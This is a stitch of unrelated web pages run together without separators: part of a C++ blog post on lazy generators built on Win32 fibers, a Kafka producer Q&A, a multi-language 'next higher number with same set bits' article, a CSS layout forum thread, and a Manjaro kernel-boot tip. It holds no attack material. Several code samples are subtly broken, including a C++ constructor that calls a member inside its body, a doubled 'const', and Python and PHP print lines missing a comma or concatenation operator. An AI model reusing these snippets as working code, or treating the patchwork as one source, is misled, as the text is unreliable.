sequence_iterator<T> end() const
{
// return iterator for end of sequence
return iterator();
}
};
A sequence_impl<T> is neither copiable nor movable and only provides methods to iterate through it.
The sequence<T> class now keeps only a shared pointer to the unique instance of a sequence_impl<T> that represents that particular application of the generator function. Now we can support chained sequences by allowing move semantics on the sequence<T> class.
template <typename T>
class sequence
{
std::shared_ptr<sequence_impl<T>> _impl;
sequence(const sequence& rhs) = delete;
sequence& operator = (const sequence& rhs) = delete;
public:
typedef typename sequence_impl<T>::iterator iterator;
typedef typename sequence_impl<T>::functor functor;
sequence(functor func) {
_impl(std::make_shared<sequence_impl<T>>(func))
}
sequence(sequence&& rhs) {
_impl = std::move(rhs._impl);
}
sequence& operator = (sequence&& rhs) {
_impl = std::move(rhs._impl);
}
iterator begin() const {
return _impl->begin();
}
iterator end() const {
return _impl->end();
}
};
The diagram below illustrates the relationships between the classes involved in the implementation of lazy sequences:
genFunc2
LINQ operators
Ok, now we have really almost done. The only thing left to do, if we want, is to write a few sequence-manipulation operators, modeled on the example of the LINQ-to-objects. I’ll list just a few, as example:
// Determines whether all elements of a sequence satisfy a condition.
bool all(std::function<bool(T)> predicate)
{
if (nullptr == predicate) {
throw std::exception();
}
for (auto t : *_impl)
{
if (!predicate(t)) {
return false;
}
}
return true;
}
// Returns an empty sequence
static sequence<T> empty()
{
auto fn = [](__resumable_func<T>& rf) {
rf.yieldBreak();
};
return sequence<T>(fn);
}
// Generates a sequence of integral numbers within a specified range [from, to).
static sequence<int> range(int from, int to)
{
if (to < from) {
throw std::exception();
}
auto fn = [from, to](__resumable_func<T>& rf) {
for (int i = from; i < to; i++) {
rf.yieldReturn(i);
}
};
return sequence<int>(fn);
}
// Projects each element of a sequence into a new form.
template <typename TResult>
sequence<TResult> select(std::function<TResult(T)> selector)
{
if (nullptr == selector) {
throw std::exception();
}
std::shared_ptr<sequence_impl<T>> impl = _impl;
auto fn = [impl, selector](__resumable_func<T>& rf) {
for (T t : *impl)
{
auto val = selector(t);
rf.yieldReturn(val);
}
};
return sequence<TResult>(fn);
}
// Returns a specified number of contiguous elements from the start of a sequence.
sequence<T> take(int count)
{
if (count < 0) {
throw std::exception();
}
std::shared_ptr<sequence_impl<T>> impl = _impl;
auto fn = [impl, count](__resumable_func<T>& rf) {
auto it = impl->begin();
for (int i = 0; i < count && it != impl->end(); i++, ++it) {
rf.yieldReturn(*it);
}
};
return sequence<T>(fn);
}
// Filters a sequence of values based on a predicate.
sequence<T> where(std::function<bool(T)> predicate)
{
if (nullptr == predicate) {
throw std::exception();
}
std::shared_ptr<sequence_impl<T>> impl = _impl;
auto fn = [impl, predicate](__resumable_func<T>& rf) {
for (auto item : *impl)
{
if (predicate(item)) {
rf.yieldReturn(item);
}
}
};
return sequence<T>(fn);
}
We could write many more, but I think these should convey the idea.
Example: a prime numbers generator
As a final example, the following query lazily provides the sequence of prime numbers (smaller than INT_MAX), using a very simple, brute-force algorithm. It is definitely not the fastest generator of prime numbers, it’s maybe a little cryptic, but it’s undoubtedly quite compact!
sequence<int> primes(int max)
{
return sequence<int>::range(2, max)
.where([](int i) {
return sequence<int>::range(2, (int)sqrt(i) + 2)
.all([i](int j) { return (i % j) != 0; });
});
}
Conclusion
In this article I rambled about generators in C++, describing a new sequence<T> type that model lazy enumerators and that could be implemented as an extension of resumable functions, as specified in N3858. I have described a possible implementation based on coroutines and introduced the possibility of extending the sequence class with a set of composable operators.
If you are curious and want to play with my sample implementation, you can find a copy of the sources here. Nothing too fancy, just the code that I showed in this post.
Appendix – Coroutines in Win32
Having completed my long ramble on the “platform independent” aspects of C++ generators, it’s time to go back to the point we left open: how to implement, on Windows, the coroutines that we encapsulated in the __resumable_func class?
We saw that the Visual Studio CTP comes with a first implementation of resumable functions, built over the PPL task library and using Win32 fibers as side-stacks. Even though the CTP does not support generator functions yet, my first idea was to just extend the <pplawait.h> library to implement them. However the code there is specialized for resumable functions that suspend awaitingfor some task, andit turns out that we can reuse only part of their code because, even if we are still dealing with resumable functions, the logic of await and yield are quite different.
In the case of await, functions can be suspended (possibly multiple times) waiting for some other task to complete. This means switching to a fiber associated to the task after having set up a continuation that will be invoked after the task completes, to switch the control back to the current fiber. When the function terminates, the control goes back to the calling fiber, returning the single return value of the async resumable function.
In the case of yield, we never suspend to call external async methods. Instead, we can suspend multiple times going back to the calling fiber, each time by returning one of the values that compose the sequence. So, while the implementation of the await keyword needs to leverage the support of PPL tasks, the concept of generator functions does not imply any concurrency or multithreading and using the PPL is not necessary.
Actually, there are ways to implement yield with await) but I could not find a simple way to use the new __await keyword without spawning new threads (maybe this could be possible with a custom PPL scheduler?)
So I chose to write the code for coroutines myself; the idea here is not very different from the one I described in a very old post (it looks like I keep rewriting the same post :-)) but now I can take advantage of the fiber-based code from the CTP’s <pplawait.h> library.
Win32 Fibers
Let’s delve into the details of the implementation. Before all, let me summarize once again the Win32 Fiber API.
Fibers were added to Windows NT to support cooperative multitasking. They can be thought as lightweight threads that must be manually scheduled by the application. In other words, fibers are a perfect tool to implement coroutines sequencing.
When a fiber is created, with CreateFiber, it is passed a fiber-start function. The OS then assigns it a separate stack and sets up execution to begin at this fiber-start function. To schedule a fiber we need to “switch” to it manually with SwitchToFiber and once it is running, a fiber can then suspend itself only by explicitly yielding execution to another fiber, also by calling SwitchToFiber.
SwitchToFiber only works from a fiber to another, so the first thing to do is to convert the current thread into a fiber, with ConvertThreadToFiber. Finally, when we have done using fibers, we can convert the main fiber back to a normal thread with ConvertFiberToThread.
The __resumable_func class
We want to put all the logic to handle the suspension and resumption of a function in the __resumable_func<T> class, as described before.
In our case we don’t need symmetric coroutines; we just need the ability of returning control to the calling fiber. So our class will contain a handle to the “caller” fiber and a handle to the fiber we want to run.
#include <functional>
#include <pplawait.h>
template <typename TRet>
class __resumable_func : __resumable_func_base
{
typedef std::function<void(__resumable_func&)> TFunc;
TFunc _func;
TRet _currentValue;
LPVOID _pFiber;
LPVOID _pCallerFiber;
Concurrency::details::__resumable_func_fiber_data* _pFuncData;
public:
__resumable_func(TFunc func);
~__resumable_func();
void yieldReturn(TRet value);
void yieldBreak();
void resume();
const TRet& getCurrent() const const { return _currentValue; }
bool isEos() const { return _pFiber == nullptr; }
private:
static void yield();
static VOID CALLBACK ResumableFuncFiberProc(PVOID lpParameter);
};
The constructor stores a copy of the generator function to run, creates a new fiber object specifying ResumableFuncFiberProc as the function to execute, and immediately switches the execution to this fiber:
__resumable_func(TFunc func) :
_currentValue(TRet()),
_pFiber(nullptr),
_func(func),
_pFuncData(nullptr)
{
// Convert the current thread to a fiber. This is needed because the thread needs to "be"
// a fiber in order to be able to switch to another fiber.
ConvertCurrentThreadToFiber();
_pCallerFiber = GetCurrentFiber();
// Create a new fiber (or re-use an existing one from the pool)
_pFiber = Concurrency::details::POOL CreateFiberEx(Concurrency::details::fiberPool.commitSize,
Concurrency::details::fiberPool.allocSize, FIBER_FLAG_FLOAT_SWITCH, &ResumableFuncFiberProc, this);
if (!_pFiber) {
throw std::bad_alloc();
}
// Switch to the newly created fiber. When this "returns" the functor has either returned,
// or issued an 'yield' statement.
::SwitchToFiber(_pFiber);
_pFuncData->suspending = false;
_pFuncData->Release();
}
The fiber will start from the fiber procedure, which has the only task of running the generator function in the context of the fiber:
// Entry proc for the Resumable Function Fiber.
static VOID CALLBACK ResumableFuncFiberProc(PVOID lpParameter)
{
LPVOID threadFiber;
// This function does not formally return, due to the SwitchToFiber call at the bottom.
// This scope block is needed for the destructors of the locals in this block to fire
// before we do the SwitchToFiber.
{
Concurrency::details::__resumable_func_fiber_data funcDataOnFiberStack;
__resumable_func* pThis = (__resumable_func*)lpParameter;
// The callee needs to setup some more stuff after we return (which would be either on
// yield or an ordinary return). Hence the callee needs the pointer to the func_data
// on our stack. This is not unsafe since the callee has a refcount on this structure
// which means the fiber will continue to live.
pThis->_pFuncData = &funcDataOnFiberStack;
Concurrency::details::POOL SetFiberData(&funcDataOnFiberStack);
funcDataOnFiberStack.threadFiber = pThis->_pCallerFiber;
funcDataOnFiberStack.resumableFuncFiber = GetCurrentFiber();
// Finally calls the function in the context of the fiber. The execution can be
// suspended by calling yield
pThis->_func(*pThis);
// Here the function has completed. We set return to true meaning this is the
// final 'real' return and not one of the 'yield' returns.
funcDataOnFiberStack.returned = true;
pThis->_pFiber = nullptr;
threadFiber = funcDataOnFiberStack.threadFiber;
}
// Return to the calling fiber.
::SwitchToFiber(threadFiber);
// On a normal fiber this function won't exit after this point. However, if the fiber is
// in a fiber-pool and re-used we can get control back. So just exit this function, which
// will cause the fiber pool to spin around and re-enter.
}
There are two ways to suspend the execution of the generator function running in the fiber and to yield control back to the caller. The first is to yield a value, which will be stored in a data member:
void yieldReturn(TRet value)
{
_currentValue = value;
yield();
}
The second is to immediately terminate the sequence, for example with a return statement or reaching the end of the function. The compiler should translate a return into a call to the yieldBreak method:
void yieldBreak()
{
_pFiber = nullptr;
yield();
}
To yield the control we just need to switch back to the calling fiber:
static void yield()
{
_ASSERT(IsThreadAFiber());
Concurrency::details::__resumable_func_fiber_data* funcDataOnFiberStack =
Concurrency::details::__resumable_func_fiber_data::GetCurrentResumableFuncData();
// Add-ref's the fiber. Even though there can only be one thread active in the fiber
// context, there can be multiple threads accessing the fiber data.
funcDataOnFiberStack->AddRef();
_ASSERT(funcDataOnFiberStack);
funcDataOnFiberStack->verify();
// Mark as busy suspending. We cannot run the code in the 'then' statement
// concurrently with the await doing the setting up of the fiber.
_ASSERT(!funcDataOnFiberStack->suspending);
funcDataOnFiberStack->suspending = true;
// Make note of the thread that we're being called from (Note that we'll always resume
// on the same thread).
funcDataOnFiberStack->awaitingThreadId = GetCurrentThreadId();
_ASSERT(funcDataOnFiberStack->resumableFuncFiber == GetCurrentFiber());
// Return to the calling fiber.
::SwitchToFiber(funcDataOnFiberStack->threadFiber);
}
Once we have suspended, incrementing the iterator will resume the execution by calling resume, which will switch to this object’s fiber:
void resume()
{
_ASSERT(IsThreadAFiber());
_ASSERT(_pFiber != nullptr);
_ASSERT(_pFuncData != nullptr);
_ASSERT(!_pFuncData->suspending);
_ASSERT(_pFuncData->awaitingThreadId == GetCurrentThreadId());
// Switch to the fiber. When this "returns" the functor has either returned, or issued
// an 'yield' statement.
::SwitchToFiber(_pFiber);
_ASSERT(_pFuncData->returned || _pFuncData->suspending);
_pFuncData->suspending = false;
if (_pFuncData->returned) {
_pFiber = nullptr;
}
_pFuncData->Release();
}
The destructor just needs to convert the current fiber back to a normal thread, but only when there are no more fibers running in the thread. For this reason we need to keep a per-thread fiber count, which is incremented every time we create a __resumable_funcand decremented every time we destroy it.
~__resumable_func()
{
if (_pCallerFiber != nullptr) {
ConvertFiberBackToThread();
}
}
class __resumable_func_base
{
__declspec(thread) static int ts_count;
protected:
// Convert the thread to a fiber.
static void ConvertCurrentThreadToFiber()
{
if (!IsThreadAFiber())
{
// Convert the thread to a fiber. Use FIBER_FLAG_FLOAT_SWITCH on x86.
LPVOID threadFiber = ConvertThreadToFiberEx(nullptr, FIBER_FLAG_FLOAT_SWITCH);
if (threadFiber == NULL) {
throw std::bad_alloc();
}
ts_count = 1;
}
else
{
ts_count++;
}
}
// Convert the fiber back to a thread.
static void ConvertFiberBackToThread()
{
if (--ts_count == 0)
{
if (ConvertFiberToThread() == FALSE) {
throw std::bad_alloc();
}
}
}
};
__declspec(thread) int __resumable_func_base::ts_count = 0;
And this is all we need to have resumable generators in C++, on Windows. The complete source code can be found here.
6 thoughts on “Generator functions in C++
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Shades88 Shades88 - 1 year ago 87
Java Question
java client example for Kafka Producer, send method not accepting KeyedMessage
I am running kafka 2.9.1-0.8.2.1. I included jars provided in libs/ directory within main kafka directory. Now I am trying to run a java producer example as per what is given here https://cwiki.apache.org/confluence/display/KAFKA/0.8.0+Producer+Example. Now
producer.send
method seems to be accepting this kind of argument
Seq<KeyedMessage<String, String>>
. In the example, object of KeyedMessage is not converted into anything. When I try to do the same I get incompatible types compiler error.
Here's the code
import kafka.producer.KeyedMessage;
import kafka.producer.ProducerConfig;
import java.util.Properties;
import kafka.producer.Producer;
import scala.collection.Seq;
public class KakfaProducer {
public static void main(String [] args) {
Properties prop = new Properties();
prop.put("metadata.broker.list", "localhost:9092");
prop.put("serializer.class","kafka.serializer.StringEncoder");
//prop.put("partitioner.class", "example.producer.SimplePartitioner");
ProducerConfig producerConfig = new ProducerConfig(prop);
Producer<String,String> producer = new <String,String>Producer(producerConfig);
String topic = "test";
KeyedMessage<String,String> message = new <String,String>KeyedMessage(topic, "Hello Test message");
producer.send(message);
producer.close();
}
}
And that commented code is giving me class def not found exception. I tried to look a lot on net, but it's not helping.
There are two kinds of jars in that libs/ directory. One is kafka-client and other one is just kafka and version number. Am I including wrong jar? Which one do I need to work with?
Answer Source
For the first problem, instead of importing scala API, import Java one. So, instead of using:
import kafka.producer.Producer;
please use:
import kafka.javaapi.producer.Producer;
SimplePartitioner code can be found below. Add it to the corresponding directory:
import kafka.producer.Partitioner;
import kafka.utils.VerifiableProperties;
public class SimplePartitioner implements Partitioner {
public SimplePartitioner (VerifiableProperties props) {
}
public int partition(Object key, int numPartitions) {
int partition = 0;
String stringKey = (String) key;
int offset = stringKey.lastIndexOf('.');
if (offset > 0) {
partition = Integer.parseInt( stringKey.substring(offset+1)) % numPartitions;
}
return partition;
}
} | __label__pos | 0.9931 |
Related Articles
Related Articles
Next higher number with same number of set bits
• Difficulty Level : Hard
• Last Updated : 07 Nov, 2019
Given a number x, find next number with same number of 1 bits in it’s binary representation.
For example, consider x = 12, whose binary representation is 1100 (excluding leading zeros on 32 bit machine). It contains two logic 1 bits. The next higher number with two logic 1 bits is 17 (100012).
Algorithm:
When we observe the binary sequence from 0 to 2n – 1 (n is # of bits), right most bits (least significant) vary rapidly than left most bits. The idea is to find right most string of 1’s in x, and shift the pattern to right extreme, except the left most bit in the pattern. Shift the left most bit in the pattern (omitted bit) to left part of x by one position. An example makes it more clear,
x = 156
10
x = 10011100
(2)
10011100
00011100 - right most string of 1's in x
00000011 - right shifted pattern except left most bit ------> [A]
00010000 - isolated left most bit of right most 1's pattern
00100000 - shiftleft-ed the isolated bit by one position ------> [B]
10000000 - left part of x, excluding right most 1's pattern ------> [C]
10100000 - add B and C (OR operation) ------> [D]
10100011 - add A and D which is required number 163
(10)
After practicing with few examples, it easy to understand. Use the below given program for generating more sets.
Program Design:
We need to note few facts of binary numbers. The expression x & -x will isolate right most set bit in x (ensuring x will use 2’s complement form for negative numbers). If we add the result to x, right most string of 1’s in x will be reset, and the immediate ‘0’ left to this pattern of 1’s will be set, which is part [B] of above explanation. For example if x = 156, x & -x will result in 00000100, adding this result to x yields 10100000 (see part D). We left with the right shifting part of pattern of 1’s (part A of above explanation).
There are different ways to achieve part A. Right shifting is essentially a division operation. What should be our divisor? Clearly, it should be multiple of 2 (avoids 0.5 error in right shifting), and it should shift the right most 1’s pattern to right extreme. The expression (x & -x) will serve the purpose of divisor. An EX-OR operation between the number X and expression which is used to reset right most bits, will isolate the rightmost 1’s pattern.
A Correction Factor:
Note that we are adding right most set bit to the bit pattern. The addition operation causes a shift in the bit positions. The weight of binary system is 2, one shift causes an increase by a factor of 2. Since the increased number (rightOnesPattern in the code) being used twice, the error propagates twice. The error needs to be corrected. A right shift by 2 positions will correct the result.
The popular name for this program is same number of one bits.
C++
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code
#include<iostream>
using namespace std;
typedef unsigned int uint_t;
// this function returns next higher number with same number of set bits as x.
uint_t snoob(uint_t x)
{
uint_t rightOne;
uint_t nextHigherOneBit;
uint_t rightOnesPattern;
uint_t next = 0;
if(x)
{
// right most set bit
rightOne = x & -(signed)x;
// reset the pattern and set next higher bit
// left part of x will be here
nextHigherOneBit = x + rightOne;
// nextHigherOneBit is now part [D] of the above explanation.
// isolate the pattern
rightOnesPattern = x ^ nextHigherOneBit;
// right adjust pattern
rightOnesPattern = (rightOnesPattern)/rightOne;
// correction factor
rightOnesPattern >>= 2;
// rightOnesPattern is now part [A] of the above explanation.
// integrate new pattern (Add [D] and [A])
next = nextHigherOneBit | rightOnesPattern;
}
return next;
}
int main()
{
int x = 156;
cout<<"Next higher number with same number of set bits is "<<snoob(x);
getchar();
return 0;
}
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Java
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// Java Implementation on above approach
class GFG
{
// this function returns next higher
// number with same number of set bits as x.
static int snoob(int x)
{
int rightOne, nextHigherOneBit, rightOnesPattern, next = 0;
if(x > 0)
{
// right most set bit
rightOne = x & -x;
// reset the pattern and set next higher bit
// left part of x will be here
nextHigherOneBit = x + rightOne;
// nextHigherOneBit is now part [D] of the above explanation.
// isolate the pattern
rightOnesPattern = x ^ nextHigherOneBit;
// right adjust pattern
rightOnesPattern = (rightOnesPattern)/rightOne;
// correction factor
rightOnesPattern >>= 2;
// rightOnesPattern is now part [A] of the above explanation.
// integrate new pattern (Add [D] and [A])
next = nextHigherOneBit | rightOnesPattern;
}
return next;
}
// Driver code
public static void main (String[] args)
{
int x = 156;
System.out.println("Next higher number with same" +
"number of set bits is "+snoob(x));
}
}
// This code is contributed by mits
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Python 3
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# This function returns next
# higher number with same
# number of set bits as x.
def snoob(x):
next = 0
if(x):
# right most set bit
rightOne = x & -(x)
# reset the pattern and
# set next higher bit
# left part of x will
# be here
nextHigherOneBit = x + int(rightOne)
# nextHigherOneBit is
# now part [D] of the
# above explanation.
# isolate the pattern
rightOnesPattern = x ^ int(nextHigherOneBit)
# right adjust pattern
rightOnesPattern = (int(rightOnesPattern) /
int(rightOne))
# correction factor
rightOnesPattern = int(rightOnesPattern) >> 2
# rightOnesPattern is now part
# [A] of the above explanation.
# integrate new pattern
# (Add [D] and [A])
next = nextHigherOneBit | rightOnesPattern
return next
# Driver Code
x = 156
print("Next higher number with " +
"same number of set bits is"
snoob(x))
# This code is contributed by Smita
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C#
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// C# Implementation on above approach
using System;
class GFG
{
// this function returns next higher
// number with same number of set bits as x.
static int snoob(int x)
{
int rightOne, nextHigherOneBit,
rightOnesPattern, next = 0;
if(x > 0)
{
// right most set bit
rightOne = x & -x;
// reset the pattern and set next higher bit
// left part of x will be here
nextHigherOneBit = x + rightOne;
// nextHigherOneBit is now part [D]
// of the above explanation.
// isolate the pattern
rightOnesPattern = x ^ nextHigherOneBit;
// right adjust pattern
rightOnesPattern = (rightOnesPattern) / rightOne;
// correction factor
rightOnesPattern >>= 2;
// rightOnesPattern is now part [A]
// of the above explanation.
// integrate new pattern (Add [D] and [A])
next = nextHigherOneBit | rightOnesPattern;
}
return next;
}
// Driver code
static void Main()
{
int x = 156;
Console.WriteLine("Next higher number with same" +
"number of set bits is " + snoob(x));
}
}
// This code is contributed by mits
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PHP
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<?php
// This function returns next higher number
// with same number of set bits as x.
function snoob($x)
{
$next = 0;
if($x)
{
// right most set bit
$rightOne = $x & - $x;
// reset the pattern and set next higher
// bit left part of x will be here
$nextHigherOneBit = $x + $rightOne;
// nextHigherOneBit is now part [D] of
// the above explanation.
// isolate the pattern
$rightOnesPattern = $x ^ $nextHigherOneBit;
// right adjust pattern
$rightOnesPattern = intval(($rightOnesPattern) /
$rightOne);
// correction factor
$rightOnesPattern >>= 2;
// rightOnesPattern is now part [A]
// of the above explanation.
// integrate new pattern (Add [D] and [A])
$next = $nextHigherOneBit | $rightOnesPattern;
}
return $next;
}
// Driver Code
$x = 156;
echo "Next higher number with same "
"number of set bits is " . snoob($x);
// This code is contributed by ita_c
?>
chevron_right
Output:
Next higher number with same number of set bits is 163
Usage: Finding/Generating subsets.
Variations:
1. Write a program to find a number immediately smaller than given, with same number of logic 1 bits? (Pretty simple)
2. How to count or generate the subsets available in the given set?
References:
1. A nice presentation here.
2. Hackers Delight by Warren (An excellent and short book on various bit magic algorithms, a must for enthusiasts)
3. C A Reference Manual by Harbison and Steele (A good book on standard C, you can access code part of this post here).
Venki. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Attention reader! Don’t stop learning now. Get hold of all the important DSA concepts with the DSA Self Paced Course at a student-friendly price and become industry ready.
My Personal Notes arrow_drop_up
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Results 1 to 4 of 4
Thread: A tricky height setting
1. #1
Join Date
Jan 2009
Posts
24
A tricky height setting
Hello.
Here is the live site which I am trying to remove all of the frames from.
http://www.gmmstudios.com/
Here is my Work in progress site.
http://patrickrauland.com/gmm/
The tricky part is that I need the content area to be as tall as the browser will allow, and then to add a scroll bar. I want to be able to always see the navigation on the left.
I also want the nav section to show as much of the background as possible, without showing so much that it adds a scroll bar.
How can I do this in CSS? It seems to me that if I want a scroll bar for the content section that I have to set a specific height. Is there a way of setting
2. #2
Join Date
Aug 2009
Location
England
Posts
29
I've noticed a bit of code in your stylesheet under #nav: height: 1168px;
Try setting this to 100% first off and see what happens. You've also set the height of the #content_pane section to 500px, try setting this to *px (I forget if this is correct syntax or not though).
I am a Freelance Developer. Please go to www.aaroncatlin.com for more information and contact details.
NB: If I respond to you with a code snippet that doesn't quite work, I apologise. I type my responses very fast and can occasionally make a typo.
3. #3
Join Date
Jan 2009
Posts
24
Thanks for the quick reply. That didn't quite solve the issue.
setting the #nav height to 100% will make that section as tall as your browser is. If the user scrolls down, there will be unfilled space.
I tried setting the #content_pane to *px but that didn't do anything. I also tried 100% and that didn't do anything.
Last edited by BFTrick; 08-14-2009 at 03:05 PM.
4. #4
Join Date
Apr 2009
Posts
122
Hi Bftrick,
Make a copy of your style sheet and replace the style.css styles with:
Code:
HTML {
MIN-HEIGHT: 100%; height: 100%;
}
BODY {
FONT-SIZE: 12px; MIN-HEIGHT: 100%; height: 100%; overflow-y: scroll;
}
H3 {
FONT-SIZE: 18px; FONT-WEIGHT: normal
}
H2 {
FONT-SIZE: 24px
}
#header {
BACKGROUND: url(http://www.gmmstudios.com/Pictures/f...ckground.gif); HEIGHT: 83px
}
#nav {
BACKGROUND-IMAGE: url(http://www.gmmstudios.com/Pictures/F...ckground.gif); POSITION: absolute; WIDTH: 160px; TOP: 83px; LEFT: 0px
}
#nav TABLE TR {
HEIGHT: 40px
}
#content_pane {
PADDING-BOTTOM: 0px; BACKGROUND-COLOR: #00abea; PADDING-LEFT: 160px; PADDING-RIGHT: 0px; PADDING-TOP: 0px
}
#content-bg {
PADDING-BOTTOM: 10px; BACKGROUND-COLOR: white
}
#content {
PADDING-BOTTOM: 0px; PADDING-LEFT: 50px; WIDTH: 500px; PADDING-RIGHT: 0px; BACKGROUND: url(http://www.gmmstudios.com/Pictures/Background.gif) no-repeat; PADDING-TOP: 50px
}
#content H1 {
FONT-FAMILY: Impact, Haettenschweiler, Arial, "Arial Black"
}
#content H2 {
FONT-FAMILY: Impact, Haettenschweiler, Arial, "Arial Black"
}
#content H3 {
FONT-FAMILY: Impact, Haettenschweiler, Arial, "Arial Black"
}
#content H4 {
FONT-FAMILY: Impact, Haettenschweiler, Arial, "Arial Black"
}
#content H5 {
FONT-FAMILY: Impact, Haettenschweiler, Arial, "Arial Black"
}
#content H6 {
FONT-FAMILY: Impact, Haettenschweiler, Arial, "Arial Black"
}
#content A IMG {
FILTER: alpha(opacity='95'); opacity: 0.95
}
#content A:hover IMG {
FILTER: alpha(opacity='100'); opacity: 1
}
#page {
height: 100%;
}
What i've done is take off the height on the nav as its not needed, and told the HTML / Body to have 100% height.
You might want to play about with this to get it just as you want, but this should hopefully help you on your way. Hope this helps
- Andy
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HTML5 Development Center
Recent Articles | __label__pos | 0.626463 |
Manjaro 5.10 Kernel will not boot
5 months ago
If - like me - you get stuck on boot after Manjaro updates to Linux Kernel 5.10, the solution is pretty simple:
1. Boot into 5.9 (you can choose the option in the grub boot menu
2. Reinstall the 5.10 kernel with:
sudo pacman -S linux510
3. For good measure, reinstall the Nvidia driver (if you have an Nvidia card, that is) with:
sudo pacman -S linux510-nvidia
After that, the 5.10 kernel should boot. | __label__pos | 0.875365 |
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